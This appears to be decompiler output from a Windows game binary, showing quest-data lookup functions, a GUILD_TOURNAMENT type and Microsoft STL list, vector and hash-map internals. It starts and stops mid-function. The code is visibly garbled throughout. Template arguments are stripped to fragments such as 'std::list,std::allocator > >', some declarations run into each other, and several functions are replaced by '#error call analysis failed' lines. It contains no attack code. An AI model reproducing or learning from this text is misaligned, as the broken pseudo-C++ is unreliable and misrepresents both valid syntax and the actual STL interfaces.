QUEST_DATA_HEAD *v2; // eax@1 unsigned __int16 v3; // ax@2 QUEST_DATA *result; // eax@5 v2 = this->m_pDataHead; if ( v2 ) v3 = v2->NumOfQuest; else v3 = 0; if ( Index < v3 ) result = this->m_ppQuestDataArray[Index]; else result = 0; return result; } //----- (00567B50) -------------------------------------------------------- void __thiscall std::list_std::allocator>>::clear(std::list,std::allocator > > *this) { std::list,std::allocator > > *v1; // esi@1 std::_List_nod,std::allocator > >::_Node *v2; // ecx@1 void *v3; // eax@1 bool v4; // zf@1 void *v5; // edi@2 v1 = this; v2 = this->_Myhead; v3 = v2->_Next; v2->_Next = v2; v1->_Myhead->_Prev = v1->_Myhead; v4 = v3 == v1->_Myhead; v1->_Mysize = 0; if ( !v4 ) { do { v5 = *(void **)v3; operator delete(v3); v3 = v5; } while ( v5 != v1->_Myhead ); } } //----- (00567B90) -------------------------------------------------------- std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this) { std::_List_nod,std::allocator > >::_Node *result; // eax@1 result = (std::_List_nod,std::allocator > >::_Node *)operator new(0x10u); if ( result ) result->_Next = result; if ( result != (std::_List_nod,std::allocator > >::_Node *)-4 ) result->_Prev = result; return result; } //----- (00567BB0) -------------------------------------------------------- std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this, std::_List_nod,std::allocator > >::_Node *_Next, std::_List_nod,std::allocator > >::_Node *_Prev, std::pair *_Val) { std::_List_nod,std::allocator > >::_Node *result; // eax@1 result = (std::_List_nod,std::allocator > >::_Node *)operator new(0x10u); if ( result ) { result->_Next = _Next; result->_Prev = _Prev; *(_DWORD *)&result->_Myval.first = *(_DWORD *)&_Val->first; result->_Myval.second = _Val->second; } return result; } //----- (00567BE0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>(std::list,std::allocator > >::iterator *_First, unsigned int _Count, std::list,std::allocator > >::iterator *_Val, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 std::list,std::allocator > >::iterator *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) *(_DWORD *)&v6->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Val->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v6; --v5; } while ( v5 ); } } //----- (00567C10) -------------------------------------------------------- void __thiscall std::list_std::allocator>>::_list_std::allocator>>(std::list,std::allocator > > *this) { std::list,std::allocator > > *v1; // esi@1 v1 = this; std::list_std::allocator>>::clear(this); operator delete(v1->_Myhead); v1->_Myhead = 0; } //----- (00567C30) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall stdext::_Hash>_std::allocator>_0>>::lower_bound(stdext::_Hash >,std::allocator >,0> > *this, std::list,std::allocator > >::iterator *result, const unsigned __int16 *_Keyval) { unsigned int v3; // edx@1 const unsigned __int16 v4; // si@1 int v5; // eax@1 std::list,std::allocator > >::iterator *v6; // edx@3 int v7; // edi@3 int v8; // eax@3 std::list,std::allocator > >::iterator *v9; // eax@6 int _Keyvala; // [sp+Ch] [bp+8h]@7 v3 = this->_Mask; v4 = *_Keyval; v5 = v3 & (*_Keyval ^ 0xDEADBEEF); if ( this->_Maxidx <= v5 ) v5 += -1 - (v3 >> 1); v6 = this->_Vec._Myfirst; v7 = *(_DWORD *)&v6[v5 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v8 = *(_DWORD *)&v6[v5].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v8 == v7 ) { LABEL_6: v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_List._Myhead; } else { while ( *(_WORD *)(v8 + 8) < v4 ) { v8 = *(_DWORD *)v8; if ( v8 == v7 ) goto LABEL_6; } _Keyvala = v8; if ( v4 >= *(_WORD *)(v8 + 8) ) { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Keyvala; } else { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_List._Myhead; } } return v9; } //----- (00567CD0) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ufill(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Ptr, unsigned int _Count, std::list,std::allocator > >::iterator *_Val) { std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00567D00) -------------------------------------------------------- int std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::erase(...) { std::list,std::allocator > >::iterator *v4; // eax@1 std::list,std::allocator > >::iterator *v5; // esi@2 std::list,std::allocator > >::iterator *v6; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator **)&_First != _First._Myfirst ) { v5 = this->_Mylast; v6 = *(std::list,std::allocator > >::iterator **)&_First; if ( _First._Myfirst != v5 ) { do { *(_DWORD *)&v6->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v4->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v4; ++v6; } while ( v4 != v5 ); } this->_Mylast = v6; } v7 = result; *(_DWORD *)&result->baseclass_0._Alval.baseclass_0.dummy[0] = *(_DWORD *)&_First; return v7; } // 567D00: inconsistent function type and number of purged bytes //----- (00567D40) -------------------------------------------------------- QUEST_DATA *__thiscall CQuestData::GetQuestData(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 QUEST_DATA *result; // eax@2 CQuestData *iter; // [sp+0h] [bp-4h]@1 iter = this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, (std::list,std::allocator > >::iterator *)&iter, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)iter == v2->m_hashmap_QuestData.baseclass_0._List._Myhead ) result = 0; else result = (QUEST_DATA *)iter->m_pBF; return result; } //----- (00567D70) -------------------------------------------------------- void __thiscall std::list_std::allocator>>::_Incsize(std::list,std::allocator > > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v5; // [sp+50h] [bp-4h]@2 v2 = this->_Mysize; if ( 536870911 - v2 < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00567E10) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00567E80) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptStart(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 576); else v4 = v2->m_pNULLSTR; return v4; } //----- (00567ED0) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptDoing(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 580); else v4 = v2->m_pNULLSTR; return v4; } //----- (00567F20) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptEnd(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 584); else v4 = v2->m_pNULLSTR; return v4; } //----- (00567F70) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Insert_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val) { std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v5; // edx@1 std::list,std::allocator > >::iterator v6; // ecx@1 int v7; // eax@2 std::list,std::allocator > >::iterator *v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 std::list,std::allocator > >::iterator *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::list,std::allocator > >::iterator *v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-28h]@31 int v28; // [sp+0h] [bp-24h]@1 void *_Newvec; // [sp+Ch] [bp-18h]@25 int v30; // [sp+10h] [bp-14h]@25 int *v31; // [sp+14h] [bp-10h]@1 int v32; // [sp+20h] [bp-4h]@25 int _Wherea; // [sp+2Ch] [bp+8h]@31 std::list,std::allocator > >::iterator *_Counta; // [sp+30h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *_Where._Mylast; v31 = &v28; _Where._Mylast = (std::list,std::allocator > >::iterator *)v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Where._Myfirst; if ( _Where._Myfirst ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (std::list,std::allocator > >::iterator *)(1073741823 - v9) < _Where._Myfirst ) std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= (unsigned int)((char *)_Where._Myfirst + v10) ) { v19 = v4->_Mylast; v20 = *(std::list,std::allocator > >::iterator **)&_Where; v21 = (std::list,std::allocator > >::iterator *)((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2) < _Where._Myfirst; v22 = 4 * (unsigned int)_Where._Myfirst; *(_DWORD *)&_Where.baseclass_0._Alval.baseclass_0.dummy[0] = 4 * (unsigned int)_Where._Myfirst; v27.dummy[0] = 4 * LOBYTE(_Where._Myfirst); _Where._Myfirst = v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v20, v19, &v20[v22 / 4], &v4->baseclass_0._Alval, v27); v23 = (unsigned int)((char *)v8 - (v4->_Mylast - v20)); v24 = v4->_Mylast; v32 = 2; std::vector>::_Ufill( v4, v24, v23, (std::list,std::allocator > >::iterator *)&_Where._Mylast); v25 = (int)((char *)v4->_Mylast + _Wherea); v4->_Mylast = (std::list,std::allocator > >::iterator *)v25; std::fill( v20, (std::list,std::allocator > >::iterator *)(v25 - _Wherea), (std::list,std::allocator > >::iterator *)&_Where._Mylast); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, &v4->baseclass_0._Alval, v27); std::copy_backward( v20, v26, _Counta); std::fill( v20, (std::list,std::allocator > >::iterator *)((char *)v20 + _Wherea), (std::list,std::allocator > >::iterator *)&_Where._Mylast); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < (unsigned int)((char *)_Where._Myfirst + v12) ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = (int)((char *)_Where._Myfirst + v13); } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = v4->_Myfirst; _Newvec = v14; v32 = 0; _Where._Myfirst = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Where._Myfirst, (unsigned int)v8, (std::list,std::allocator > >::iterator *)&_Where._Mylast, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, v4->_Mylast, &_Where._Myfirst[(_DWORD)v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = (int)((char *)v8 + v17); if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (std::list,std::allocator > >::iterator *)((char *)v14 + v30); v4->_Mylast = (std::list,std::allocator > >::iterator *)((char *)v14 + 4 * v18); v4->_Myfirst = (std::list,std::allocator > >::iterator *)v14; } } } // 567F70: inconsistent function type and number of purged bytes //----- (005681B0) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val) { std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Count ) { if ( _Count > 0x3FFFFFFF ) std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(this); v4 = operator new(4 * _Count); v3->_Myend = (std::list,std::allocator > >::iterator *)((char *)v4 + 4 * _Count); v3->_Myfirst = (std::list,std::allocator > >::iterator *)v4; v3->_Mylast = (std::list,std::allocator > >::iterator *)v4; v8 = 0; std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( (std::list,std::allocator > >::iterator *)v4, _Count, _Val, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Count); v3->_Mylast = (std::list,std::allocator > >::iterator *)((char *)v4 + 4 * _Count); } } //----- (00568246) -------------------------------------------------------- void __usercall _L83459(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>_std::allocator>>::_hash_multimap>_std::allocator>>(stdext::hash_multimap >,std::allocator > > *this) { stdext::hash_multimap >,std::allocator > > *v1; // esi@1 int v2; // esi@3 v1 = this; if ( this->baseclass_0._Vec._Myfirst ) operator delete(this->baseclass_0._Vec._Myfirst); v1->baseclass_0._Vec._Myfirst = 0; v1->baseclass_0._Vec._Mylast = 0; v1->baseclass_0._Vec._Myend = 0; v2 = (int)&v1->baseclass_0._List; std::list_std::allocator>>::clear((std::list,std::allocator > > *)v2); operator delete(*(void **)(v2 + 4)); *(_DWORD *)(v2 + 4) = 0; } //----- (005682A0) -------------------------------------------------------- #error "5682FF: call analysis failed (funcsize=47)" //----- (00568310) -------------------------------------------------------- #error "568350: call analysis failed (funcsize=30)" //----- (00568360) -------------------------------------------------------- void __thiscall stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>(stdext::_Hash >,std::allocator >,1> > *this, stdext::hash_compare > *_Parg, std::allocator > *_Al) { stdext::_Hash >,std::allocator >,1> > *v3; // esi@1 char *v4; // edi@1 v3 = this; this->baseclass_0.comp.comp.baseclass_0.dummy[0] = _Parg->comp.baseclass_0.dummy[0]; v4 = (char *)&this->_List; this->_List._Myhead = std::list_std::allocator>>::_Buynode(&this->_List); *((_DWORD *)v4 + 2) = 0; _Parg = (stdext::hash_compare > *)v3->_List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n( &v3->_Vec, 9u, (std::list,std::allocator > >::iterator *)&_Parg); v3->_Mask = 1; v3->_Maxidx = 1; } //----- (005683E0) -------------------------------------------------------- std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_1>>::insert(stdext::_Hash >,std::allocator >,1> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val) { stdext::_Hash >,std::allocator >,1> > *v3; // esi@1 unsigned int v4; // edi@1 std::list,std::allocator > >::iterator *v5; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v8; // edx@6 int v9; // eax@7 std::list,std::allocator > >::iterator v10; // edx@9 int v11; // eax@9 unsigned int v12; // eax@10 std::list,std::allocator > >::iterator *v13; // ecx@12 int v14; // edx@12 int v15; // ebx@12 std::_List_nod,std::allocator > >::_Node *v16; // edi@12 std::_List_nod,std::allocator > >::_Node *v17; // ebp@15 int v18; // eax@16 std::_List_nod,std::allocator > >::_Node *v19; // ebx@19 std::_List_nod,std::allocator > >::_Node *v20; // eax@19 std::_List_nod,std::allocator > >::_Node *v21; // eax@19 unsigned int i; // eax@20 std::list,std::allocator > >::iterator *v23; // ecx@21 std::_List_nod,std::allocator > >::_Node *v24; // ebx@21 int v25; // ecx@21 std::pair *v26; // ebp@27 const unsigned __int16 v27; // dx@27 unsigned int v28; // ecx@27 int v29; // eax@27 std::list,std::allocator > >::iterator *v30; // ecx@29 int v31; // ebx@29 int v32; // edi@29 std::_List_nod,std::allocator > >::_Node *v33; // ebp@35 int v34; // ecx@35 std::pair,std::allocator > >::iterator,bool> *v35; // eax@38 int _Vala; // [sp+1Ch] [bp+8h]@29 v3 = this; v4 = this->_Maxidx; if ( v4 <= this->_List._Mysize >> 2 ) { v5 = this->_Vec._Myfirst; v6 = &this->_Vec; if ( v5 ) v7 = v3->_Vec._Mylast - v5; else v7 = 0; if ( v7 - 1 > v4 ) { v12 = v3->_Mask; if ( v12 < v4 ) v3->_Mask = 2 * v12 + 1; } else { v8 = v3->_Vec._Myfirst; if ( v8 ) v9 = v3->_Vec._Mylast - v8; else v9 = 0; v10 = (std::list,std::allocator > >::iterator)v3->_List._Myhead; v11 = 2 * v9 - 3; v3->_Mask = v11; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize( v6, v11 + 2, v10); } v13 = v3->_Vec._Myfirst; v14 = v3->_Maxidx - (v3->_Mask >> 1) - 1; v15 = v14; v16 = *(std::_List_nod,std::allocator > >::_Node **)&v13[v14].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v13[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { if ( (v3->_Mask & (v16->_Myval.first ^ 0xDEADBEEF)) == v14 ) { v16 = v16->_Next; } else { v17 = v16->_Next; if ( v16->_Next != v3->_List._Myhead ) { v18 = v14; if ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v15].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v18].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v17; if ( !v18 ) break; --v18; } while ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v18].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v19 = v3->_List._Myhead; v16->_Prev->_Next = v17; v17->_Prev->_Next = v19; v19->_Prev->_Next = v16; v20 = v19->_Prev; v19->_Prev = v17->_Prev; v17->_Prev = v16->_Prev; v16->_Prev = v20; v21 = v3->_List._Myhead; v16 = v21->_Prev; *(_DWORD *)&v3->_Vec._Myfirst[v3->_Maxidx + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v21; } for ( i = v3->_Maxidx; v14 < i; *(_DWORD *)v25 = v16 ) { v23 = v3->_Vec._Myfirst; v24 = *(std::_List_nod,std::allocator > >::_Node **)&v23[i].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v25 = (int)&v23[i]; if ( v24 != v3->_List._Myhead ) break; --i; } if ( v17 == v3->_List._Myhead ) break; v16 = v17; } v15 = v14; } while ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } ++v3->_Maxidx; } v26 = _Val; v27 = _Val->first; v28 = v3->_Mask; v29 = v28 & (_Val->first ^ 0xDEADBEEF); if ( v3->_Maxidx <= v29 ) v29 += -1 - (v28 >> 1); v30 = v3->_Vec._Myfirst; v31 = v29; v32 = *(_DWORD *)&v30[v29 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; _Vala = v29; if ( v32 != *(_DWORD *)&v30[v29].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { while ( 1 ) { v32 = *(_DWORD *)(v32 + 4); if ( *(_WORD *)(v32 + 8) <= v27 ) break; if ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) goto LABEL_35; } if ( *(_WORD *)(v32 + 8) < v27 ) v32 = *(_DWORD *)v32; } LABEL_35: v33 = std::list_std::allocator>>::_Buynode( &v3->_List, (std::_List_nod,std::allocator > >::_Node *)v32, *(std::_List_nod,std::allocator > >::_Node **)(v32 + 4), v26); std::list_std::allocator>>::_Incsize( &v3->_List, 1u); *(_DWORD *)(v32 + 4) = v33; v33->_Prev->_Next = v33; v34 = *(_DWORD *)(v32 + 4); if ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v34; if ( !_Vala ) break; --_Vala; v31 = _Vala; } while ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[_Vala].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v34; result->second = 1; return v35; } //----- (00568610) -------------------------------------------------------- std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_0>>::insert(stdext::_Hash >,std::allocator >,0> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val) { stdext::_Hash >,std::allocator >,0> > *v3; // esi@1 unsigned int v4; // edi@1 std::list,std::allocator > >::iterator *v5; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v8; // edx@6 int v9; // eax@7 std::list,std::allocator > >::iterator v10; // edx@9 int v11; // eax@9 unsigned int v12; // eax@10 std::list,std::allocator > >::iterator *v13; // ecx@12 int v14; // edx@12 int v15; // ebx@12 std::_List_nod,std::allocator > >::_Node *v16; // edi@12 std::_List_nod,std::allocator > >::_Node *v17; // ebp@15 int v18; // eax@16 std::_List_nod,std::allocator > >::_Node *v19; // ebx@19 std::_List_nod,std::allocator > >::_Node *v20; // eax@19 std::_List_nod,std::allocator > >::_Node *v21; // eax@19 unsigned int i; // eax@20 std::list,std::allocator > >::iterator *v23; // ecx@21 std::_List_nod,std::allocator > >::_Node *v24; // ebx@21 int v25; // ecx@21 std::pair *v26; // ebp@27 const unsigned __int16 v27; // dx@27 unsigned int v28; // ecx@27 int v29; // eax@27 std::list,std::allocator > >::iterator *v30; // ecx@29 int v31; // ebx@29 int v32; // edi@29 std::_List_nod,std::allocator > >::_Node *v33; // ebp@32 int v34; // ecx@32 std::pair,std::allocator > >::iterator,bool> *v35; // eax@35 int _Vala; // [sp+1Ch] [bp+8h]@29 v3 = this; v4 = this->_Maxidx; if ( v4 <= this->_List._Mysize >> 2 ) { v5 = this->_Vec._Myfirst; v6 = &this->_Vec; if ( v5 ) v7 = v3->_Vec._Mylast - v5; else v7 = 0; if ( v7 - 1 > v4 ) { v12 = v3->_Mask; if ( v12 < v4 ) v3->_Mask = 2 * v12 + 1; } else { v8 = v3->_Vec._Myfirst; if ( v8 ) v9 = v3->_Vec._Mylast - v8; else v9 = 0; v10 = (std::list,std::allocator > >::iterator)v3->_List._Myhead; v11 = 2 * v9 - 3; v3->_Mask = v11; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize( v6, v11 + 2, v10); } v13 = v3->_Vec._Myfirst; v14 = v3->_Maxidx - (v3->_Mask >> 1) - 1; v15 = v14; v16 = *(std::_List_nod,std::allocator > >::_Node **)&v13[v14].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v13[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { if ( (v3->_Mask & (v16->_Myval.first ^ 0xDEADBEEF)) == v14 ) { v16 = v16->_Next; } else { v17 = v16->_Next; if ( v16->_Next != v3->_List._Myhead ) { v18 = v14; if ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v15].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v18].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v17; if ( !v18 ) break; --v18; } while ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v18].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v19 = v3->_List._Myhead; v16->_Prev->_Next = v17; v17->_Prev->_Next = v19; v19->_Prev->_Next = v16; v20 = v19->_Prev; v19->_Prev = v17->_Prev; v17->_Prev = v16->_Prev; v16->_Prev = v20; v21 = v3->_List._Myhead; v16 = v21->_Prev; *(_DWORD *)&v3->_Vec._Myfirst[v3->_Maxidx + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v21; } for ( i = v3->_Maxidx; v14 < i; *(_DWORD *)v25 = v16 ) { v23 = v3->_Vec._Myfirst; v24 = *(std::_List_nod,std::allocator > >::_Node **)&v23[i].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v25 = (int)&v23[i]; if ( v24 != v3->_List._Myhead ) break; --i; } if ( v17 == v3->_List._Myhead ) break; v16 = v17; } v15 = v14; } while ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } ++v3->_Maxidx; } v26 = _Val; v27 = _Val->first; v28 = v3->_Mask; v29 = v28 & (_Val->first ^ 0xDEADBEEF); if ( v3->_Maxidx <= v29 ) v29 += -1 - (v28 >> 1); v30 = v3->_Vec._Myfirst; v31 = v29; v32 = *(_DWORD *)&v30[v29 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; _Vala = v29; if ( v32 != *(_DWORD *)&v30[v29].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { while ( 1 ) { v32 = *(_DWORD *)(v32 + 4); if ( *(_WORD 